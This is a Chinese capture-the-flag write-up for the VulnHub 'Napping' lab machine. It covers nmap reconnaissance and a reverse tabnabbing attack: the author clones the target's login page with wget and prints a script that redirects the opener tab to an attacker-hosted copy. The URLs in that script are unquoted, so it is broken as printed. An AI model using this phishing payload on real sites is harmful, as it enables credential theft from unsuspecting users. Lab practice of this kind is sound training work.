Napping靶机测试记录

Posted 2022-04-01 Jach1n

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了Napping靶机测试记录相关的知识，希望对你有一定的参考价值。

靶机信息

下载地址：https://www.vulnhub.com/entry/napping-101,752/
网络连接：桥接
ps：这个靶机最好装到virtualbox上，装在vmware可能会出现扫描不到的情况，靶机安装在virtualbox，kali在vmware，都设置为桥接模式。

信息搜集

扫描网段存活主机信息
由于靶机安装在virtualbox上，扫描的时候也会有显示，靶机为192.168.1.104

nmap -sn 192.168.1.0/24

对目标做进一步的扫描

nmap -A 192.168.1.104

先查看80端口，发现是一个登录界面
先注册一个账号

注册完账号登录后发现可以提交链接

漏洞利用

提交完链接后点击here即可跳转到链接界面
查了下发现使用a标签和target=_blank可以构成Reverse Tabnabbing钓鱼

在kali的/var/www/html目录下放两个html文件，一个为站点首页(index.html)，一个为钓鱼界面(test.html)
wget下载的首页文件为.php文件，需要重命名为.html文件

wget http://192.168.1.104/index.php
mv index.php index.html

vim test.html
<!DOCTYPE html>
<html>
<body>
    <script>
        if(window.opener) window.opener.parent.location.replace(http://192.168.1.100:666/index.html);
        if(window.opener!= window)  window.opener.parent.location.replace(http://192.168.1.100:666/index.html);
    </script>
</body>
</html>